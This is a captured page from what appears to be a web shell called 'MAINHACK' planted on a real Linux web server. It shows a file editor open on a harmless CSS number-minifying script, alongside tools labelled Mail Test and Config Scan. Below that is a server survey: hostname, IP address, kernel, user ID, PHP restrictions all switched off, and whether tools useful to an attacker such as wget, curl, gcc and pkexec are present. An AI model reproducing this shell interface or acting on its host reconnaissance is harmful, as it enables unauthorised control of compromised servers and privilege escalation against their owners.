[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Number.js
var OMIT_PLUSSIGN = /^(?:\+|(-))?0*(\d*)(?:\.0*|(\.\d*?)0*)?$/; var KEEP_PLUSSIGN = /^([\+\-])?0*(\d*)(?:\.0*|(\.\d*?)0*)?$/; var unsafeToRemovePlusSignAfter = { Dimension: true, Hash: true, Identifier: true, Number: true, Raw: true, UnicodeRange: true }; function packNumber(value, item) { // omit plus sign only if no prev or prev is safe type var regexp = item && item.prev !== null && unsafeToRemovePlusSignAfter.hasOwnProperty(item.prev.data.type) ? KEEP_PLUSSIGN : OMIT_PLUSSIGN; // 100 -> '100' // 00100 -> '100' // +100 -> '100' (only when safe, e.g. omitting plus sign for 1px+1px leads to single dimension instead of two) // -100 -> '-100' // 0.123 -> '.123' // 0.12300 -> '.123' // 0.0 -> '' // 0 -> '' // -0 -> '-' value = String(value).replace(regexp, '$1$2$3'); if (value === '' || value === '-') { value = '0'; } return value; } module.exports = function(node, item) { node.value = packNumber(node.value, item); }; module.exports.pack = packNumber;
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.53 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002